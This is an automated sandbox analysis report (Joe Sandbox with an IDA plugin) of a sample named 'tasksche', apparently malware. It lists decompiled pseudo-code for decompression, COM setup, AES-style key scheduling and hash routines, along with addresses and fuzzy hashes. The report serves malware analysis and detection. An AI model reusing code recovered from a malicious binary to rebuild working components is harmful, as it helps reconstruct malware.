0x00414ce2
0x00000000
0x00000000
0x00414ce4
0x00414ce5
0x00414ce8
0x00414ceb
0x00000000
0x00000000
0x00000000
0x00414ced
0x00414cef
0x00000000
0x00414ca6
0x00414ca8
0x00414cab
0x00414cb5
0x00414cbd
0x00414cc2
0x00414cc5
0x00414d2a
0x00414d2a
0x00000000
0x00414d2a
0x00414ca4
0x00414c35
0x00000000
0x00414c35
0x00414ba9
0x00414af4
0x00414afb
0x00414b24
0x00414b24
0x00414b27
0x00414b2a
0x00000000
0x00414b2a
0x00414afd
0x00414b01
0x00000000
0x00000000
0x00414b03
0x00414b07
0x00414b0b
0x00000000
0x00000000
0x00414b0d
0x00414b0e
0x00414b15
0x00414b19
0x00000000
0x00414b19
0x00414a69
0x0041498e
0x0041498e
0x00414f04
0x00000000
0x00414f04
0x00414959
0x00414965
0x00414969
0x00414970
0x00000000
0x00414972
0x00414972
0x00000000
0x00414972
0x00414970

APIs

_realloc.LIBCMT ref: 00414A21

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _realloc
String ID:
API String ID: 1750794848-0
Opcode ID: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction ID: 2a1397d1efbb1e156a4ddc1088eaf27e515a490876f5f290c2ff2c2445328417
Opcode Fuzzy Hash: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction Fuzzy Hash: 0B02E5B1A106069BCB1DCF28C5916E9B7E1FF85304F24852ED556CBA85D338F9E1CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00413EE3 Relevance: 1.8, APIs: 1, Instructions: 267
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00413EE3(void* __ecx, unsigned int __edx) {
				signed int _v8;
				signed int _v12;
				char _v32;
				char _v60;
				char _v77;
				char _v137;
				char _v436;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t113;
				char _t119;
				signed int _t124;
				unsigned int _t125;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				intOrPtr _t149;
				signed int _t155;
				signed int _t157;
				signed int _t158;
				signed int _t161;
				signed int _t162;
				void* _t172;
				void* _t173;
				signed int _t185;
				void* _t187;
				intOrPtr* _t189;
				signed int _t198;
				intOrPtr* _t200;
				void* _t201;
				signed int _t204;
				signed int _t210;
				signed int _t211;
				signed int _t219;
				signed int _t221;
				intOrPtr* _t222;
				intOrPtr* _t224;
				void* _t225;
				void* _t226;

				_t209 = __edx;
				_t173 = __ecx;
				_t224 = __ecx + 4;
				if( *_t224 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
					L2:
					E004097BA(_t224,  ~( *(_t173 + 8)) & 0x00000007);
					_t113 = E004097D1(_t224);
					_t230 = _t113 & 0x00008000;
					if((_t113 & 0x00008000) == 0) {
						 *((intOrPtr*)(_t173 + 0xe654)) = 0;
						 *((intOrPtr*)(_t173 + 0x98c8)) = 0;
						 *((intOrPtr*)(_t173 + 0x98cc)) = 0;
						__eflags = _t113 & 0x00004000;
						if((_t113 & 0x00004000) == 0) {
							E0041A820(0, _t173 + 0xe4c0, 0, 0x194);
							_t226 = _t226 + 0xc;
						}
						E004097BA(_t224, 2);
						_v8 = 0;
						do {
							_v12 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							_t119 = _v12;
							__eflags = _t119 - 0xf;
							if(_t119 != 0xf) {
								 *((char*)(_t225 + _v8 - 0x1c)) = _t119;
								goto L16;
							}
							_t219 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							__eflags = _t219;
							if(_t219 != 0) {
								_t221 = _t219 + 2;
								while(1) {
									__eflags = _t221;
									if(_t221 <= 0) {
										break;
									}
									_t221 = _t221 - 1;
									__eflags = _v8 - 0x14;
									if(_v8 >= 0x14) {
										break;
									}
									_t23 =  &_v8;
									 *_t23 = _v8 + 1;
									__eflags =  *_t23;
									 *((char*)(_t225 + _v8 - 0x1c)) = 0;
								}
								_v8 = _v8 - 1;
								goto L16;
							}
							 *((char*)(_t225 + _v8 - 0x1c)) = 0xf;
							L16:
							_v8 = _v8 + 1;
							__eflags = _v8 - 0x14;
						} while (__eflags < 0);
						_t222 = _t173 + 0x3c44;
						E0041284B(__eflags,  &_v32, _t222, 0x14);
						_t37 =  &_v8;
						 *_t37 = _v8 & 0x00000000;
						__eflags =  *_t37;
						do {
							__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78)) - 5;
							if( *_t224 <=  *((intOrPtr*)(_t173 + 0x78)) - 5) {
								L20:
								_t124 = E0040978C(_t224);
								_t210 =  *(_t222 + 0x84);
								_t125 = _t124 & 0x0000fffe;
								__eflags = _t125 -  *((intOrPtr*)(_t222 + 4 + _t210 * 4));
								if(_t125 >=  *((intOrPtr*)(_t222 + 4 + _t210 * 4))) {
									_t211 = _t210 + 1;
									_v12 = 0xf;
									__eflags = _t211 - 0xf;
									if(_t211 >= 0xf) {
										L28:
										_t185 =  *(_t224 + 4) + _v12;
										 *_t224 =  *_t224 + (_t185 >> 3);
										_t209 = _v12;
										 *(_t224 + 4) = _t185 & 0x00000007;
										_t187 = 0x10;
										_t128 = (_t125 -  *((intOrPtr*)(_t222 + _v12 * 4)) >> _t187 - _v12) +  *((intOrPtr*)(_t222 + 0x44 + _t209 * 4));
										__eflags = _t128 -  *_t222;
										if(_t128 >=  *_t222) {
											_t128 = 0;
											__eflags = 0;
										}
										_t129 =  *(_t222 + 0xc88 + _t128 * 2) & 0x0000ffff;
										L31:
										__eflags = _t129 - 0x10;
										if(_t129 >= 0x10) {
											__eflags = _t129 - 0x12;
											_t189 = _t224;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t132 = (E004097D1(_t189) >> 9) + 0xb;
													__eflags = _t132;
													_push(7);
												} else {
													_t132 = (E004097D1(_t189) >> 0xd) + 3;
													_push(3);
												}
												_v12 = _t132;
												E004097BA(_t224);
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														goto L50;
													}
													_v12 = _v12 - 1;
													__eflags = _v8 - 0x194;
													if(_v8 >= 0x194) {
														goto L51;
													}
													_t90 =  &_v8;
													 *_t90 = _v8 + 1;
													__eflags =  *_t90;
													 *((char*)(_t225 + _v8 - 0x1b0)) = 0;
												}
												goto L50;
											}
											__eflags = _t129 - 0x10;
											if(_t129 != 0x10) {
												_t155 = (E004097D1(_t189) >> 9) + 0xb;
												__eflags = _t155;
												_push(7);
											} else {
												_t155 = (E004097D1(_t189) >> 0xd) + 3;
												_push(3);
											}
											_v12 = _t155;
											E004097BA(_t224);
											__eflags = _v8;
											if(_v8 > 0) {
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														break;
													}
													_t157 = _v8;
													_v12 = _v12 - 1;
													__eflags = _t157 - 0x194;
													if(_t157 >= 0x194) {
														goto L51;
													}
													 *((char*)(_t225 + _t157 - 0x1b0)) =  *((intOrPtr*)(_t225 + _t157 - 0x1b1));
													_t158 = _t157 + 1;
													__eflags = _t158;
													_v8 = _t158;
												}
											}
											goto L50;
										}
										_t198 = _v8;
										_t209 =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										 *(_t225 + _t198 - 0x1b0) =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										_v8 = _t198 + 1;
										goto L50;
									}
									_t200 = _t222 + 4 + _t211 * 4;
									while(1) {
										__eflags = _t125 -  *_t200;
										if(_t125 <  *_t200) {
											break;
										}
										_t211 = _t211 + 1;
										_t200 = _t200 + 4;
										__eflags = _t211 - 0xf;
										if(_t211 < 0xf) {
											continue;
										}
										goto L28;
									}
									_v12 = _t211;
									goto L28;
								}
								_t201 = 0x10;
								_t161 = _t125 >> _t201 - _t210;
								_t204 = ( *(_t161 + _t222 + 0x88) & 0x000000ff) +  *(_t224 + 4);
								_t209 = _t204 >> 3;
								 *_t224 =  *_t224 + (_t204 >> 3);
								 *(_t224 + 4) = _t204 & 0x00000007;
								_t129 =  *(_t222 + 0x488 + _t161 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = E0041236D(_t173, _t173, _t209);
							__eflags = _t162;
							if(_t162 == 0) {
								L52:
								_t149 = 0;
								L54:
								return _t149;
							}
							goto L20;
							L50:
							__eflags = _v8 - 0x194;
						} while (_v8 < 0x194);
						L51:
						__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78));
						 *((char*)(_t173 + 0xe658)) = 1;
						if(__eflags <= 0) {
							E0041284B(__eflags,  &_v436, _t173 + 0x94, 0x12b);
							E0041284B(__eflags,  &_v137, _t173 + 0xf80, 0x3c);
							E0041284B(__eflags,  &_v77, _t173 + 0x1e6c, 0x11);
							E0041284B(__eflags,  &_v60, _t173 + 0x2d58, 0x1c);
							_t174 = _t173 + 0xe4c0;
							__eflags = _t173 + 0xe4c0;
							E0041C290(_t173 + 0xe4c0, _t222, _t224, _t174,  &_v436, 0x194);
							_t149 = 1;
							goto L54;
						}
						goto L52;
					}
					 *((intOrPtr*)(_t173 + 0xe654)) = 1;
					return E00413A86(_t173 + 0x98d0, _t209, _t230, _t173, _t173 + 0xe4bc);
				}
				_t172 = E0041236D(__ecx, __ecx, __edx);
				if(_t172 != 0) {
					goto L2;
				}
				return _t172;
			}

0x00413ee3
0x00413eed
0x00413ef3
0x00413efb
0x00413f0a
0x00413f15
0x00413f1c
0x00413f21
0x00413f26
0x00413f4d
0x00413f53
0x00413f59
0x00413f5f
0x00413f64
0x00413f73
0x00413f78
0x00413f78
0x00413f7f
0x00413f84
0x00413f87
0x00413f98
0x00413f9b
0x00413fa0
0x00413fa3
0x00413fa6
0x00413fee
0x00000000
0x00413fee
0x00413fb6
0x00413fb9
0x00413fbe
0x00413fc0
0x00413fcd
0x00413fe2
0x00413fe2
0x00413fe4
0x00000000
0x00000000
0x00413fd0
0x00413fd1
0x00413fd5
0x00000000
0x00000000
0x00413fda
0x00413fda
0x00413fda
0x00413fdd
0x00413fdd
0x00413fe6
0x00000000
0x00413fe6
0x00413fc5
0x00413ff2
0x00413ff2
0x00413ff5
0x00413ff5
0x00413ffd
0x0041400a
0x0041400f
0x0041400f
0x0041400f
0x00414013
0x00414019
0x0041401b
0x0041402c
0x0041402e
0x00414033
0x00414039
0x0041403e
0x00414042
0x0041406d
0x0041406e
0x00414075
0x00414078
0x00414090
0x00414093
0x0041409d
0x0041409f
0x004140a5
0x004140ab
0x004140b0
0x004140b4
0x004140b6
0x004140b8
0x004140b8
0x004140b8
0x004140ba
0x004140c2
0x004140c2
0x004140c5
0x004140e6
0x004140e9
0x004140eb
0x00414147
0x00414160
0x00414160
0x00414163
0x00414149
0x00414151
0x00414154
0x00414154
0x00414167
0x0041416a
0x0041418b
0x0041418b
0x0041418f
0x00000000
0x00000000
0x00414171
0x00414174
0x0041417b
0x00000000
0x00000000
0x00414180
0x00414180
0x00414180
0x00414183
0x00414183
0x00000000
0x0041418b
0x004140ed
0x004140f0
0x00414109
0x00414109
0x0041410c
0x004140f2
0x004140fa
0x004140fd
0x004140fd
0x00414110
0x00414113
0x00414118
0x0041411c
0x0041413f
0x0041413f
0x00414143
0x00000000
0x00000000
0x00414120
0x00414123
0x00414126
0x0041412b
0x00000000
0x00000000
0x00414134
0x0041413b
0x0041413b
0x0041413c
0x0041413c
0x00414145
0x00000000
0x0041411c
0x004140c7
0x004140d3
0x004140d6
0x004140de
0x00000000
0x004140de
0x0041407a
0x0041407e
0x0041407e
0x00414080
0x00000000
0x00000000
0x00414082
0x00414083
0x00414086
0x00414089
0x00000000
0x00000000
0x00000000
0x0041408b
0x0041408d
0x00000000
0x0041408d
0x00414046
0x00414049
0x00414053
0x00414058
0x0041405b
0x00414060
0x00414063
0x00000000
0x00414063
0x0041401f
0x00414024
0x00414026
0x004141ac
0x004141ac
0x00414226
0x00000000
0x00414226
0x00000000
0x00414191
0x00414191
0x00414191
0x0041419e
0x004141a0
0x004141a3
0x004141aa
0x004141c5
0x004141dc
0x004141f0
0x00414204
0x00414215
0x00414215
0x0041421c
0x00414224
0x00000000
0x00414224
0x00000000
0x004141aa
0x00413f36
0x00000000
0x00413f40
0x00413efd
0x00413f04
0x00000000
0x00000000
0x0041422a

APIs

_memset.LIBCMT ref: 00413F73

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction ID: 3562be7dcc5a33f83423fe2ddc28cf6e78eed116dec30ec79901489c8d2199a3
Opcode Fuzzy Hash: 9c54e9cdedc4d1f5f0a70ee5fbfd421263a38b40d6fcac4ed0c82430486a0b60
Instruction Fuzzy Hash: CBA11472A00208EBDB04DF65C581BED77B5AB94304F24447FE942EB282C77C9AC2DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00419BB0 Relevance: 1.6, APIs: 1, Instructions: 89
comCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00419BB0(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* _v8;
				void* _v12;
				char* _t34;
				intOrPtr* _t36;
				intOrPtr* _t38;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr* _t44;
				intOrPtr* _t46;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				void* _t56;
				void* _t57;
				intOrPtr _t63;

				_t34 =  &_v8;
				_t57 = 0;
				__imp__CoCreateInstance(0x42b1f8, 0, 1, 0x42b148, _t34, _t56, __ecx, __ecx);
				if(_t34 >= 0) {
					_t36 = _v8;
					_push( &_v12);
					_push(0x42b1e8);
					_push(_t36);
					if( *((intOrPtr*)( *_t36))() >= 0) {
						if(_a4 != 0) {
							_t54 = _v12;
							 *((intOrPtr*)( *_t54 + 0x14))(_t54, _a12, 2);
						}
						_t40 = _v8;
						 *((intOrPtr*)( *_t40 + 0x50))(_t40, _a8);
						if(_a20 != _t57) {
							_t52 = _v8;
							 *((intOrPtr*)( *_t52 + 0x1c))(_t52, _a20);
						}
						_t42 = _v8;
						_t63 =  *_t42;
						_push(_t57);
						if(_a24 != _t57) {
							_push(_a24);
						} else {
							_push(0x42a73c);
						}
						 *((intOrPtr*)(_t63 + 0x44))(_t42);
						if(_a28 != _t57) {
							_t50 = _v8;
							 *((intOrPtr*)( *_t50 + 0x2c))(_t50, _a28);
						}
						if(_a16 != _t57) {
							_t48 = _v8;
							 *((intOrPtr*)( *_t48 + 0x24))(_t48, _a16);
						}
						_t44 = _v12;
						_push(1);
						_push(_a12);
						_push(_t44);
						if( *((intOrPtr*)( *_t44 + 0x18))() >= 0) {
							_t57 = 1;
						}
						_t46 = _v12;
						 *((intOrPtr*)( *_t46 + 8))(_t46);
					}
					_t38 = _v8;
					 *((intOrPtr*)( *_t38 + 8))(_t38);
				}
				return _t57;
			}

0x00419bb6
0x00419bc1
0x00419bc9
0x00419bd1
0x00419bd7
0x00419bdf
0x00419be0
0x00419be5
0x00419bea
0x00419bf3
0x00419bf5
0x00419c00
0x00419c00
0x00419c03
0x00419c0c
0x00419c12
0x00419c14
0x00419c1d
0x00419c1d
0x00419c20
0x00419c23
0x00419c25
0x00419c29
0x00419c32
0x00419c2b
0x00419c2b
0x00419c2b
0x00419c36
0x00419c3c
0x00419c3e
0x00419c47
0x00419c47
0x00419c4d
0x00419c4f
0x00419c58
0x00419c58
0x00419c5b
0x00419c60
0x00419c62
0x00419c65
0x00419c6b
0x00419c6d
0x00419c6d
0x00419c6f
0x00419c75
0x00419c75
0x00419c78
0x00419c7e
0x00419c7e
0x00419c85

APIs

CoCreateInstance.OLE32(0042B1F8,00000000,00000001,0042B148,?), ref: 00419BC9

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction ID: e9337f94160ec10d5a134cda80235c1f61728acff05639409476ed3799cc72ed
Opcode Fuzzy Hash: 291608a549582a43ab036b31c95ed53b806bcf03129be81fab9f556b712dc9f9
Instruction Fuzzy Hash: FC311875A00209EFCF04CFA0C898DAA7BB9EF49304B204499F942DB250D739EE51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA52 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040CA52(signed char* __ecx, intOrPtr __edx, void* __edi, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				unsigned int _v16;
				char _v24;
				char _v40;
				void* _t32;
				signed int _t33;
				void* _t34;
				void* _t36;
				void* _t39;
				intOrPtr _t41;
				char _t44;
				char _t47;
				intOrPtr _t48;
				signed int _t54;
				void* _t55;
				signed int _t57;
				intOrPtr* _t60;
				signed char* _t61;
				void* _t63;

				_t55 = __edi;
				_v8 = __ecx;
				_push(_t41);
				asm("cpuid");
				_t60 =  &_v24;
				 *_t60 = 1;
				 *((intOrPtr*)(_t60 + 4)) = _t41;
				 *((intOrPtr*)(_t60 + 8)) = 0;
				 *((intOrPtr*)(_t60 + 0xc)) = __edx;
				_t61 = _v8;
				 *_t61 = _v16 >> 0x00000019 & 0x00000001;
				_t32 = _a12 - 0x80;
				if(_t32 == 0) {
					_t47 = 0x10;
					_t61[4] = 0xa;
				} else {
					_t39 = _t32 - 0x40;
					if(_t39 == 0) {
						_t47 = 0x18;
						_t61[4] = 0xc;
					} else {
						if(_t39 != 0x40) {
							_t47 = _a4;
						} else {
							_t47 = 0x20;
							_t61[4] = 0xe;
						}
					}
				}
				_t33 = 0;
				if(_t47 <= 0) {
					L11:
					_t48 = _a16;
					_t71 = _t48;
					if(_t48 != 0) {
						_t34 = 0;
						__eflags = 0;
						do {
							_t61[_t34 + 8] =  *((intOrPtr*)(_t34 + _t48));
							_t34 = _t34 + 1;
							__eflags = _t34 - 0x10;
						} while (__eflags < 0);
						L15:
						_t36 = E0040C4FF(_t61, _t71,  &_v40);
						if(_a4 == 0) {
							_t36 = E0040C6C4(_t61);
						}
						return _t36;
					}
					_t20 =  &(_t61[8]); // 0x8
					E0041A820(_t55, _t20, _t48, 0x10);
					goto L15;
				} else {
					_push(_t55);
					do {
						_t44 =  *((intOrPtr*)(_t33 + _a8));
						_t54 = _t33 >> 2;
						_t57 = _t33 & 0x00000003;
						_t33 = _t33 + 1;
						 *((char*)(_t63 + _t57 - 0x24 + _t54 * 4)) = _t44;
					} while (_t33 < _t47);
					_pop(_t55);
					goto L11;
				}
			}

0x0040ca52
0x0040ca5b
0x0040ca60
0x0040ca61
0x0040ca64
0x0040ca67
0x0040ca69
0x0040ca6c
0x0040ca6f
0x0040ca75
0x0040ca7d
0x0040ca82
0x0040ca87
0x0040caad
0x0040caae
0x0040ca89
0x0040ca89
0x0040ca8c
0x0040caa1
0x0040caa2
0x0040ca8e
0x0040ca91
0x0040cab7
0x0040ca93
0x0040ca95
0x0040ca96
0x0040ca96
0x0040ca91
0x0040ca8c
0x0040caba
0x0040cabe
0x0040cade
0x0040cade
0x0040cae1
0x0040cae3
0x0040caf6
0x0040caf6
0x0040caf8
0x0040cafb
0x0040caff
0x0040cb00
0x0040cb00
0x0040cb05
0x0040cb0b
0x0040cb14
0x0040cb18
0x0040cb18
0x0040cb20
0x0040cb20
0x0040cae8
0x0040caec
0x00000000
0x0040cac0
0x0040cac0
0x0040cac1
0x0040cac4
0x0040cacb
0x0040cace
0x0040cad1
0x0040cad6
0x0040cad9
0x0040cadd
0x00000000
0x0040cadd

APIs

_memset.LIBCMT ref: 0040CAEC

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction ID: e1f0199fda650a5869103b9083c5b7a650503f912fa59dbaeb4dd54c60283149
Opcode Fuzzy Hash: f170c41e67568dbb41c50a43ec108573c349a1076046e87b2a713adcc681154b
Instruction Fuzzy Hash: 0721F672704209DFD724CF28D4817AA7BE5AB19300F10892FD896E73C2C678E9458B49

Uniqueness

Uniqueness Score: -1.00%

Function 00409C06 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409C06() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;

				_t12 =  *0x43003c; // 0xffffffff
				if(_t12 != 0xffffffff) {
					_t6 =  *0x4335d4; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					 *0x43003c = _t12;
					 *0x4335d4 = _t6;
					 *0x4335d0 = _v280.dwMinorVersion;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) +  *0x4335d0;
				}
			}

0x00409c09
0x00409c18
0x00409c56
0x00409c1a
0x00409c21
0x00409c2b
0x00409c31
0x00409c37
0x00409c43
0x00409c49
0x00409c4e
0x00409c4e
0x00409c5e
0x00409c71
0x00409c60
0x00409c6a
0x00409c6a

APIs

GetVersionExW.KERNEL32(?), ref: 00409C2B

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction ID: d7c6bb9a1732f6c2eece22a2b410928bcf9985e9f3444315991ea75afaaef588
Opcode Fuzzy Hash: 1145292b874a8e7a56bde58bed546469a1a499fc1dbdbc0264d61b52db470385
Instruction Fuzzy Hash: E4F0F4B1A041088FDB28CF18E992A99B7F5A748305F1002A5D619D3390DA78AE81CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004234CE Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004234CE() {

				SetUnhandledExceptionFilter(E0042348C);
				return 0;
			}

0x004234d3
0x004234db

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002348C), ref: 004234D3

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction ID: 1b01da781a1f42b14bf088c4285091799bc00e9a7c54fca4454c541a30810ab4
Opcode Fuzzy Hash: c83ebaee86b923b47ec218d74108a47e8bb0214f05dc8ef17ebda85afd4cada2
Instruction Fuzzy Hash: 539002603521104746112BB06C1D51565A17F48617BD104A5B401C5054DA598621551B

Uniqueness

Uniqueness Score: -1.00%

Function 00404986 Relevance: 1.5, Strings: 1, Instructions: 245
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00404986(void* __eax, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void _v68;
				void _v132;
				void* _t219;
				signed int* _t220;
				void* _t223;
				signed int* _t226;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t233;
				signed int _t238;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				void* _t244;
				intOrPtr _t245;
				signed int _t252;
				signed int _t257;
				signed int _t259;
				signed int _t265;
				signed int _t270;
				signed int _t275;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				signed int _t285;
				signed int _t289;
				signed int _t290;
				signed int _t293;
				signed int _t294;
				signed int _t300;
				signed int _t301;
				signed int _t303;
				signed int _t315;
				signed int _t316;
				signed int _t341;
				signed int _t346;
				signed int _t347;
				signed int _t348;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				void* _t364;

				_t245 = _a4;
				_t233 = 0x10;
				memcpy( &_v132, __eax, _t233 << 2);
				_push(8);
				_t219 = memcpy( &_v68,  *(_t245 + 0xf4), 0 << 2);
				_t220 =  *(_t245 + 0xfc);
				_t238 =  *_t219 ^ 0x510e527f;
				_t341 =  *(_t219 + 4) ^ 0x9b05688c;
				_v8 = _t220[1] ^ 0x5be0cd19;
				_v36 = 0x6a09e667;
				_v32 = 0xbb67ae85;
				_v28 = 0x3c6ef372;
				_v24 = 0xa54ff53a;
				_v12 =  *_t220 ^ 0x1f83d9ab;
				_t223 = 0;
				while(1) {
					_t18 = _t223 + 0x42a4d0; // 0x3020100
					_t229 = _v68 +  *((intOrPtr*)(_t364 + ( *_t18 & 0x000000ff) * 4 - 0x80)) + _v52;
					_t24 = _t223 + 0x42a4d1; // 0x4030201
					_t252 = _t229 ^ _t238;
					asm("ror edx, 0x10");
					_v36 = _v36 + _t252;
